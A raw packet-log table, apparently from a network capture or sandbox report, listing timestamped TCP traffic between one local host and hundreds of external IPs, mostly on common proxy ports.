Mar 11, 2024 18:36:46.628128052 CET	49782	50605	192.168.2.8	51.81.89.146
Mar 11, 2024 18:36:46.628132105 CET	50877	8080	192.168.2.8	84.241.8.234
Mar 11, 2024 18:36:46.628144979 CET	50738	36779	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:46.628150940 CET	49985	45639	192.168.2.8	103.212.93.241
Mar 11, 2024 18:36:46.628150940 CET	49777	28971	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:46.628150940 CET	50749	3128	192.168.2.8	103.28.121.58
Mar 11, 2024 18:36:46.628151894 CET	50735	34405	192.168.2.8	212.110.188.198
Mar 11, 2024 18:36:46.628151894 CET	50739	8080	192.168.2.8	203.150.172.151
Mar 11, 2024 18:36:46.628155947 CET	50741	5678	192.168.2.8	36.66.133.19
Mar 11, 2024 18:36:46.628163099 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:46.628190994 CET	50751	80	192.168.2.8	190.5.77.211
Mar 11, 2024 18:36:46.628190994 CET	50966	3128	192.168.2.8	185.174.137.30
Mar 11, 2024 18:36:46.629447937 CET	80	51198	68.185.57.66	192.168.2.8
Mar 11, 2024 18:36:46.630273104 CET	51324	8080	192.168.2.8	14.232.235.13
Mar 11, 2024 18:36:46.631314039 CET	51325	18003	192.168.2.8	67.43.228.250
Mar 11, 2024 18:36:46.632055044 CET	4145	51237	68.71.247.130	192.168.2.8
Mar 11, 2024 18:36:46.634167910 CET	4145	51033	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:46.634186029 CET	4145	51033	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:46.634202957 CET	51326	8085	192.168.2.8	191.102.254.9
Mar 11, 2024 18:36:46.634747028 CET	18129	50825	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.634841919 CET	51328	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:46.634936094 CET	51327	9002	192.168.2.8	58.20.248.139
Mar 11, 2024 18:36:46.635698080 CET	26693	50839	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.636671066 CET	31679	51063	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:46.636729002 CET	31679	51063	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:46.636744976 CET	4145	51193	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:46.636801004 CET	4145	51037	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:46.636831045 CET	51193	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:46.636852026 CET	4145	51037	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:46.637293100 CET	4145	50224	199.102.106.94	192.168.2.8
Mar 11, 2024 18:36:46.637303114 CET	51193	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:46.637475014 CET	51329	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:46.637743950 CET	4145	50213	68.1.210.163	192.168.2.8
Mar 11, 2024 18:36:46.637758970 CET	4145	50213	68.1.210.163	192.168.2.8
Mar 11, 2024 18:36:46.637842894 CET	4145	50214	24.249.199.4	192.168.2.8
Mar 11, 2024 18:36:46.638022900 CET	51330	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:46.638138056 CET	51331	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:46.638420105 CET	51332	62543	192.168.2.8	172.93.111.235
Mar 11, 2024 18:36:46.638493061 CET	4145	50214	24.249.199.4	192.168.2.8
Mar 11, 2024 18:36:46.638889074 CET	51333	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:46.639455080 CET	16379	51027	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:46.639715910 CET	51027	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.639913082 CET	51027	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.639933109 CET	51334	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.640364885 CET	80	50940	50.207.199.85	192.168.2.8
Mar 11, 2024 18:36:46.640413046 CET	51335	80	192.168.2.8	104.16.106.234
Mar 11, 2024 18:36:46.641180038 CET	80	51246	172.64.152.98	192.168.2.8
Mar 11, 2024 18:36:46.641243935 CET	5935	51214	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.641311884 CET	51246	80	192.168.2.8	172.64.152.98
Mar 11, 2024 18:36:46.641447067 CET	80	49977	50.172.75.125	192.168.2.8
Mar 11, 2024 18:36:46.641755104 CET	51246	80	192.168.2.8	172.64.152.98
Mar 11, 2024 18:36:46.642724037 CET	4145	51072	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:46.642843962 CET	4145	51072	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:46.642910957 CET	8080	51187	153.139.233.218	192.168.2.8
Mar 11, 2024 18:36:46.642992973 CET	51187	8080	192.168.2.8	153.139.233.218
Mar 11, 2024 18:36:46.643085957 CET	51187	8080	192.168.2.8	153.139.233.218
Mar 11, 2024 18:36:46.643582106 CET	51336	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:46.643621922 CET	8080	50819	177.229.210.50	192.168.2.8
Mar 11, 2024 18:36:46.643754005 CET	49984	1080	192.168.2.8	202.142.167.210
Mar 11, 2024 18:36:46.643758059 CET	50097	31979	192.168.2.8	51.77.65.164
Mar 11, 2024 18:36:46.643781900 CET	50366	8080	192.168.2.8	5.78.89.192
Mar 11, 2024 18:36:46.645530939 CET	31247	50352	202.40.181.220	192.168.2.8
Mar 11, 2024 18:36:46.645847082 CET	50352	31247	192.168.2.8	202.40.181.220
Mar 11, 2024 18:36:46.646037102 CET	50352	31247	192.168.2.8	202.40.181.220
Mar 11, 2024 18:36:46.647324085 CET	3128	51222	84.17.35.129	192.168.2.8
Mar 11, 2024 18:36:46.647603035 CET	9125	50646	178.253.201.11	192.168.2.8
Mar 11, 2024 18:36:46.649849892 CET	51507	50581	135.148.10.161	192.168.2.8
Mar 11, 2024 18:36:46.649962902 CET	50581	51507	192.168.2.8	135.148.10.161
Mar 11, 2024 18:36:46.650074959 CET	50581	51507	192.168.2.8	135.148.10.161
Mar 11, 2024 18:36:46.650393963 CET	28723	50846	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:46.650465012 CET	5931	50861	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.651683092 CET	80	50685	50.174.214.222	192.168.2.8
Mar 11, 2024 18:36:46.654274940 CET	9090	50174	189.240.60.163	192.168.2.8
Mar 11, 2024 18:36:46.655591965 CET	14921	50135	192.252.211.197	192.168.2.8
Mar 11, 2024 18:36:46.657366991 CET	8080	50375	213.184.153.66	192.168.2.8
Mar 11, 2024 18:36:46.659410954 CET	49789	32221	192.168.2.8	67.43.228.254
Mar 11, 2024 18:36:46.659425974 CET	50752	1976	192.168.2.8	217.52.247.86
Mar 11, 2024 18:36:46.659434080 CET	49787	31033	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:46.659446955 CET	50763	64556	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:46.659451008 CET	50759	7117	192.168.2.8	135.181.102.118
Mar 11, 2024 18:36:46.659461021 CET	50784	83	192.168.2.8	103.183.63.14
Mar 11, 2024 18:36:46.659461975 CET	50786	3629	192.168.2.8	190.3.72.39
Mar 11, 2024 18:36:46.659463882 CET	50777	3629	192.168.2.8	190.3.72.38
Mar 11, 2024 18:36:46.659480095 CET	50808	2233	192.168.2.8	104.131.77.66
Mar 11, 2024 18:36:46.659487963 CET	50801	5678	192.168.2.8	79.7.101.98
Mar 11, 2024 18:36:46.659499884 CET	50757	62952	192.168.2.8	104.248.158.78
Mar 11, 2024 18:36:46.659499884 CET	50796	33572	192.168.2.8	162.214.121.173
Mar 11, 2024 18:36:46.659509897 CET	50798	8080	192.168.2.8	37.120.192.154
Mar 11, 2024 18:36:46.659524918 CET	14455	51233	192.252.209.155	192.168.2.8
Mar 11, 2024 18:36:46.659559011 CET	50820	4985	192.168.2.8	82.223.121.72
Mar 11, 2024 18:36:46.659569025 CET	50810	80	192.168.2.8	149.102.130.120
Mar 11, 2024 18:36:46.659776926 CET	8443	50596	27.254.123.203	192.168.2.8
Mar 11, 2024 18:36:46.659858942 CET	16379	51035	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.659930944 CET	51035	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.660012960 CET	50728	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:46.660016060 CET	50772	4850	192.168.2.8	192.169.226.96
Mar 11, 2024 18:36:46.660023928 CET	50788	8282	192.168.2.8	193.138.178.6
Mar 11, 2024 18:36:46.660032988 CET	50789	80	192.168.2.8	119.81.71.27
Mar 11, 2024 18:36:46.660038948 CET	50791	17228	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:46.660051107 CET	50812	9002	192.168.2.8	39.165.0.137
Mar 11, 2024 18:36:46.660058975 CET	50803	1080	192.168.2.8	103.47.93.194
Mar 11, 2024 18:36:46.660058975 CET	50816	8080	192.168.2.8	125.26.183.79
Mar 11, 2024 18:36:46.660077095 CET	50783	8080	192.168.2.8	103.172.42.121
Mar 11, 2024 18:36:46.660115957 CET	3128	49909	194.182.187.78	192.168.2.8
Mar 11, 2024 18:36:46.660316944 CET	51035	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.660943985 CET	51337	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.663475037 CET	80	51031	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.663491964 CET	80	51199	50.172.39.98	192.168.2.8
Mar 11, 2024 18:36:46.663589001 CET	51031	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.664053917 CET	51031	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.664275885 CET	51338	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.665436983 CET	80	50871	50.168.72.122	192.168.2.8
Mar 11, 2024 18:36:46.665961981 CET	10049	50869	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:46.666666985 CET	8888	51185	203.74.125.18	192.168.2.8
Mar 11, 2024 18:36:46.666783094 CET	51185	8888	192.168.2.8	203.74.125.18
Mar 11, 2024 18:36:46.667876005 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.667949915 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:46.668489933 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.668561935 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.668664932 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.669019938 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:46.670051098 CET	8080	51019	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:46.670953989 CET	51019	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:46.672291040 CET	16379	50894	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.672368050 CET	16379	51192	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.672835112 CET	8081	49722	154.72.90.74	192.168.2.8
Mar 11, 2024 18:36:46.673806906 CET	16379	51027	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:46.673846960 CET	51192	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.674104929 CET	9000	50878	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.674271107 CET	80	50770	50.168.163.180	192.168.2.8
Mar 11, 2024 18:36:46.674633026 CET	3128	50476	86.107.178.103	192.168.2.8
Mar 11, 2024 18:36:46.675000906 CET	50476	3128	192.168.2.8	86.107.178.103
Mar 11, 2024 18:36:46.675071001 CET	16379	51035	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.675076962 CET	50758	8089	192.168.2.8	118.117.190.148
Mar 11, 2024 18:36:46.675081968 CET	50753	8080	192.168.2.8	165.16.67.238
Mar 11, 2024 18:36:46.675088882 CET	50769	7497	192.168.2.8	187.191.53.155
Mar 11, 2024 18:36:46.675088882 CET	50779	8083	192.168.2.8	103.84.177.28
Mar 11, 2024 18:36:46.675095081 CET	9000	51191	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.675098896 CET	50782	4145	192.168.2.8	168.205.217.37
Mar 11, 2024 18:36:46.675106049 CET	50790	28513	192.168.2.8	213.136.78.200
Mar 11, 2024 18:36:46.675106049 CET	50802	13276	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:46.675107002 CET	50787	1976	192.168.2.8	41.65.236.56
Mar 11, 2024 18:36:46.675110102 CET	50793	999	192.168.2.8	38.7.4.89
Mar 11, 2024 18:36:46.675112009 CET	50814	8181	192.168.2.8	103.152.232.99
Mar 11, 2024 18:36:46.675120115 CET	50818	80	192.168.2.8	188.40.44.95
Mar 11, 2024 18:36:46.675132036 CET	50824	999	192.168.2.8	38.56.23.33
Mar 11, 2024 18:36:46.675132036 CET	50828	8080	192.168.2.8	183.89.79.25
Mar 11, 2024 18:36:46.675148010 CET	50843	54393	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.675151110 CET	50838	53343	192.168.2.8	66.23.233.210
Mar 11, 2024 18:36:46.675151110 CET	50764	37976	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:46.675153017 CET	50832	4145	192.168.2.8	174.77.111.197
Mar 11, 2024 18:36:46.675165892 CET	50889	35158	192.168.2.8	103.245.205.33
Mar 11, 2024 18:36:46.675168991 CET	50768	8080	192.168.2.8	45.150.25.132
Mar 11, 2024 18:36:46.675172091 CET	50845	8080	192.168.2.8	112.78.170.250
Mar 11, 2024 18:36:46.675172091 CET	50853	60775	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:46.675179005 CET	50776	55636	192.168.2.8	1.179.148.9
Mar 11, 2024 18:36:46.675182104 CET	50771	4153	192.168.2.8	177.131.29.211
Mar 11, 2024 18:36:46.675203085 CET	50785	8080	192.168.2.8	180.191.254.130
Mar 11, 2024 18:36:46.675204039 CET	51191	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.675203085 CET	50797	8595	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:46.675204039 CET	50374	60200	192.168.2.8	162.241.137.197
Mar 11, 2024 18:36:46.675219059 CET	50821	38586	192.168.2.8	160.153.245.187
Mar 11, 2024 18:36:46.675229073 CET	50844	46097	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:46.675230026 CET	50830	5678	192.168.2.8	93.182.76.244
Mar 11, 2024 18:36:46.675544024 CET	50815	34227	192.168.2.8	162.214.102.195
Mar 11, 2024 18:36:46.675559998 CET	50854	999	192.168.2.8	38.156.233.77
Mar 11, 2024 18:36:46.675947905 CET	29985	51181	154.12.178.107	192.168.2.8
Mar 11, 2024 18:36:46.676022053 CET	51181	29985	192.168.2.8	154.12.178.107
Mar 11, 2024 18:36:46.676366091 CET	51019	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:46.676374912 CET	51185	8888	192.168.2.8	203.74.125.18
Mar 11, 2024 18:36:46.676616907 CET	13477	51229	72.10.160.93	192.168.2.8
Mar 11, 2024 18:36:46.676996946 CET	51192	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.677066088 CET	50476	3128	192.168.2.8	86.107.178.103
Mar 11, 2024 18:36:46.677210093 CET	51181	29985	192.168.2.8	154.12.178.107
Mar 11, 2024 18:36:46.677216053 CET	51191	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.678028107 CET	51339	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:46.678962946 CET	4145	50408	168.205.217.13	192.168.2.8
Mar 11, 2024 18:36:46.679029942 CET	50833	8090	192.168.2.8	89.230.92.9
Mar 11, 2024 18:36:46.679029942 CET	50132	55066	192.168.2.8	167.86.115.103
Mar 11, 2024 18:36:46.679696083 CET	80	51031	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.681020021 CET	80	50884	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.681920052 CET	7853	50100	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:46.682941914 CET	4145	50270	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:46.683667898 CET	80	50870	47.242.234.237	192.168.2.8
Mar 11, 2024 18:36:46.684561014 CET	8080	50720	51.68.220.201	192.168.2.8
Mar 11, 2024 18:36:46.684577942 CET	8080	50720	51.68.220.201	192.168.2.8
Mar 11, 2024 18:36:46.684693098 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:46.684698105 CET	8080	50720	51.68.220.201	192.168.2.8
Mar 11, 2024 18:36:46.684814930 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:46.684814930 CET	50720	8080	192.168.2.8	51.68.220.201
Mar 11, 2024 18:36:46.686377048 CET	41274	50164	162.241.158.204	192.168.2.8
Mar 11, 2024 18:36:46.686455965 CET	4145	50165	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:46.687392950 CET	4145	51218	190.103.29.101	192.168.2.8
Mar 11, 2024 18:36:46.689038992 CET	9002	50812	39.165.0.137	192.168.2.8
Mar 11, 2024 18:36:46.689124107 CET	50812	9002	192.168.2.8	39.165.0.137
Mar 11, 2024 18:36:46.690619946 CET	50837	8080	192.168.2.8	187.228.145.138
Mar 11, 2024 18:36:46.690619946 CET	50834	3128	192.168.2.8	5.34.201.244
Mar 11, 2024 18:36:46.690634012 CET	50842	999	192.168.2.8	190.211.250.131
Mar 11, 2024 18:36:46.690654993 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:46.690658092 CET	50848	84	192.168.2.8	103.255.145.62
Mar 11, 2024 18:36:46.690664053 CET	50867	998	192.168.2.8	181.78.85.45
Mar 11, 2024 18:36:46.690665007 CET	50851	8080	192.168.2.8	103.69.151.189
Mar 11, 2024 18:36:46.690665007 CET	50858	8080	192.168.2.8	125.209.88.46
Mar 11, 2024 18:36:46.690665007 CET	50863	80	192.168.2.8	174.126.217.110
Mar 11, 2024 18:36:46.690677881 CET	50872	8080	192.168.2.8	159.192.138.170
Mar 11, 2024 18:36:46.690721035 CET	50829	1080	192.168.2.8	176.115.79.195
Mar 11, 2024 18:36:46.690721035 CET	50836	999	192.168.2.8	190.217.7.8
Mar 11, 2024 18:36:46.690737963 CET	49896	45248	192.168.2.8	166.62.121.127
Mar 11, 2024 18:36:46.690743923 CET	50849	9090	192.168.2.8	38.10.69.109
Mar 11, 2024 18:36:46.690754890 CET	50873	58851	192.168.2.8	85.25.177.53
Mar 11, 2024 18:36:46.690757036 CET	50855	21355	192.168.2.8	67.213.212.36
Mar 11, 2024 18:36:46.690761089 CET	50856	8080	192.168.2.8	177.128.212.190
Mar 11, 2024 18:36:46.690761089 CET	50875	8085	192.168.2.8	103.105.55.170
Mar 11, 2024 18:36:46.690985918 CET	80	51194	47.242.234.237	192.168.2.8
Mar 11, 2024 18:36:46.691070080 CET	51194	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.691617012 CET	80	50499	3.127.62.252	192.168.2.8
Mar 11, 2024 18:36:46.693896055 CET	8089	51171	111.225.152.191	192.168.2.8
Mar 11, 2024 18:36:46.696033001 CET	3128	50292	139.99.148.90	192.168.2.8
Mar 11, 2024 18:36:46.696074963 CET	80	50884	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.696099043 CET	50292	3128	192.168.2.8	139.99.148.90
Mar 11, 2024 18:36:46.696552038 CET	80	50804	89.31.143.12	192.168.2.8
Mar 11, 2024 18:36:46.696837902 CET	17893	50106	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.696856022 CET	22645	50907	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:46.698863983 CET	9123	50329	173.249.29.243	192.168.2.8
Mar 11, 2024 18:36:46.699445009 CET	3128	51044	45.159.189.244	192.168.2.8
Mar 11, 2024 18:36:46.700419903 CET	39533	51203	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:46.701802015 CET	4145	50965	199.58.185.9	192.168.2.8
Mar 11, 2024 18:36:46.702316046 CET	46656	50944	38.127.179.126	192.168.2.8
Mar 11, 2024 18:36:46.702579021 CET	80	49948	50.170.90.24	192.168.2.8
Mar 11, 2024 18:36:46.704308987 CET	5432	51257	31.204.28.96	192.168.2.8
Mar 11, 2024 18:36:46.704410076 CET	51257	5432	192.168.2.8	31.204.28.96
Mar 11, 2024 18:36:46.704668045 CET	29718	50655	92.204.134.38	192.168.2.8
Mar 11, 2024 18:36:46.704771042 CET	50655	29718	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.706269979 CET	50731	80	192.168.2.8	139.99.244.154
Mar 11, 2024 18:36:46.706284046 CET	50156	80	192.168.2.8	50.170.90.28
Mar 11, 2024 18:36:46.706288099 CET	50859	1080	192.168.2.8	167.249.254.70
Mar 11, 2024 18:36:46.706296921 CET	50860	8080	192.168.2.8	188.132.222.167
Mar 11, 2024 18:36:46.706298113 CET	50862	3128	192.168.2.8	5.189.158.162
Mar 11, 2024 18:36:46.706296921 CET	49727	80	192.168.2.8	50.217.226.43
Mar 11, 2024 18:36:46.706301928 CET	50053	3129	192.168.2.8	20.219.177.85
Mar 11, 2024 18:36:46.706302881 CET	50977	5678	192.168.2.8	185.26.32.93
Mar 11, 2024 18:36:46.706305981 CET	50880	8180	192.168.2.8	194.213.208.226
Mar 11, 2024 18:36:46.706345081 CET	50882	8080	192.168.2.8	103.214.219.23
Mar 11, 2024 18:36:46.706988096 CET	1081	51034	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:46.707084894 CET	51034	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.708225012 CET	15673	51036	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:46.708359957 CET	15082	49718	45.77.111.135	192.168.2.8
Mar 11, 2024 18:36:46.708549023 CET	80	50840	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.711113930 CET	47056	50564	45.81.232.17	192.168.2.8
Mar 11, 2024 18:36:46.711231947 CET	50564	47056	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.711241007 CET	80	51195	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.711324930 CET	51195	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.712815046 CET	24279	50118	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:46.712990046 CET	1431	50125	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.713412046 CET	15673	51036	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:46.713736057 CET	30717	51249	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.715497971 CET	29813	51251	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.716253042 CET	2906	50521	148.72.209.174	192.168.2.8
Mar 11, 2024 18:36:46.716347933 CET	50521	2906	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:46.720160007 CET	80	51046	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.720279932 CET	51046	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.721746922 CET	20806	51206	119.29.84.133	192.168.2.8
Mar 11, 2024 18:36:46.721878052 CET	50047	4153	192.168.2.8	103.83.105.167
Mar 11, 2024 18:36:46.721910000 CET	50876	9191	192.168.2.8	51.83.184.241
Mar 11, 2024 18:36:46.721911907 CET	50189	49775	192.168.2.8	138.201.21.232
Mar 11, 2024 18:36:46.721918106 CET	50509	52903	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:46.721920013 CET	50890	48678	192.168.2.8	180.131.242.221
Mar 11, 2024 18:36:46.721923113 CET	50206	42331	192.168.2.8	206.189.9.30
Mar 11, 2024 18:36:46.721923113 CET	50898	33383	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:46.721941948 CET	50904	14462	192.168.2.8	185.129.250.183
Mar 11, 2024 18:36:46.721944094 CET	50905	29796	192.168.2.8	54.36.122.16
Mar 11, 2024 18:36:46.721947908 CET	50895	34599	192.168.2.8	183.88.231.188
Mar 11, 2024 18:36:46.721947908 CET	50900	999	192.168.2.8	138.121.15.229
Mar 11, 2024 18:36:46.721949100 CET	50892	999	192.168.2.8	45.191.75.186
Mar 11, 2024 18:36:46.721949100 CET	50247	5678	192.168.2.8	191.97.2.198
Mar 11, 2024 18:36:46.721949100 CET	50897	8080	192.168.2.8	185.169.183.200
Mar 11, 2024 18:36:46.721949100 CET	50899	16844	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:46.721949100 CET	50902	80	192.168.2.8	209.126.6.159
Mar 11, 2024 18:36:46.721956968 CET	50903	33192	192.168.2.8	217.21.148.50
Mar 11, 2024 18:36:46.727216959 CET	80	50094	190.128.241.102	192.168.2.8
Mar 11, 2024 18:36:46.728493929 CET	20001	50936	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.728781939 CET	10363	50128	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.729468107 CET	9999	50453	113.195.224.222	192.168.2.8
Mar 11, 2024 18:36:46.731878996 CET	51341	83	192.168.2.8	103.159.47.34
Mar 11, 2024 18:36:46.732302904 CET	51342	8080	192.168.2.8	125.212.231.220
Mar 11, 2024 18:36:46.732671976 CET	51343	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.732692957 CET	443	51343	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.732893944 CET	51344	80	192.168.2.8	185.212.60.62
Mar 11, 2024 18:36:46.732939005 CET	51343	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.733108997 CET	8080	51019	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:46.733580112 CET	51345	8080	192.168.2.8	31.146.5.178
Mar 11, 2024 18:36:46.736076117 CET	8080	50411	27.54.71.231	192.168.2.8
Mar 11, 2024 18:36:46.736180067 CET	50411	8080	192.168.2.8	27.54.71.231
Mar 11, 2024 18:36:46.736238003 CET	80	51230	50.218.57.66	192.168.2.8
Mar 11, 2024 18:36:46.736680031 CET	51340	62289	192.168.2.8	161.97.173.42
Mar 11, 2024 18:36:46.737061024 CET	80	49775	50.239.72.18	192.168.2.8
Mar 11, 2024 18:36:46.737303972 CET	51194	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.737488985 CET	50170	59268	192.168.2.8	67.213.212.50
Mar 11, 2024 18:36:46.737488985 CET	51021	45629	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:46.737507105 CET	50070	5678	192.168.2.8	223.25.98.82
Mar 11, 2024 18:36:46.737510920 CET	50886	16795	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:46.737514973 CET	49817	26315	192.168.2.8	72.10.160.171
Mar 11, 2024 18:36:46.737535000 CET	50888	64742	192.168.2.8	72.167.221.157
Mar 11, 2024 18:36:46.737545967 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:46.737545967 CET	50228	5096	192.168.2.8	165.154.227.154
Mar 11, 2024 18:36:46.737549067 CET	50909	57144	192.168.2.8	49.12.126.53
Mar 11, 2024 18:36:46.737549067 CET	50912	12542	192.168.2.8	37.53.90.82
Mar 11, 2024 18:36:46.737549067 CET	50918	26777	192.168.2.8	185.129.250.183
Mar 11, 2024 18:36:46.737555981 CET	50389	19599	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:46.737565994 CET	50906	64309	192.168.2.8	173.212.209.49
Mar 11, 2024 18:36:46.737565994 CET	50911	999	192.168.2.8	198.52.241.13
Mar 11, 2024 18:36:46.737565994 CET	50908	5020	192.168.2.8	202.164.209.69
Mar 11, 2024 18:36:46.737565994 CET	50910	8080	192.168.2.8	103.76.148.161
Mar 11, 2024 18:36:46.737574100 CET	50924	3230	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:46.737576962 CET	50913	4153	192.168.2.8	82.147.153.6
Mar 11, 2024 18:36:46.737576962 CET	50925	32930	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:46.737577915 CET	50901	3128	192.168.2.8	178.128.172.154
Mar 11, 2024 18:36:46.737577915 CET	50916	999	192.168.2.8	200.24.130.138
Mar 11, 2024 18:36:46.737577915 CET	50928	1080	192.168.2.8	41.223.108.13
Mar 11, 2024 18:36:46.737584114 CET	50887	999	192.168.2.8	179.43.94.238
Mar 11, 2024 18:36:46.737879992 CET	4145	50996	199.102.104.70	192.168.2.8
Mar 11, 2024 18:36:46.738671064 CET	4145	50302	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:46.738961935 CET	51257	5432	192.168.2.8	31.204.28.96
Mar 11, 2024 18:36:46.739089966 CET	50655	29718	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.739140034 CET	51034	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.739811897 CET	51346	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.739933014 CET	50564	47056	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.740148067 CET	51195	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.740515947 CET	51347	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:46.740678072 CET	50521	2906	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:46.740720034 CET	51046	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.741142035 CET	51348	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.741255999 CET	51343	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.741283894 CET	443	51343	43.153.174.197	192.168.2.8
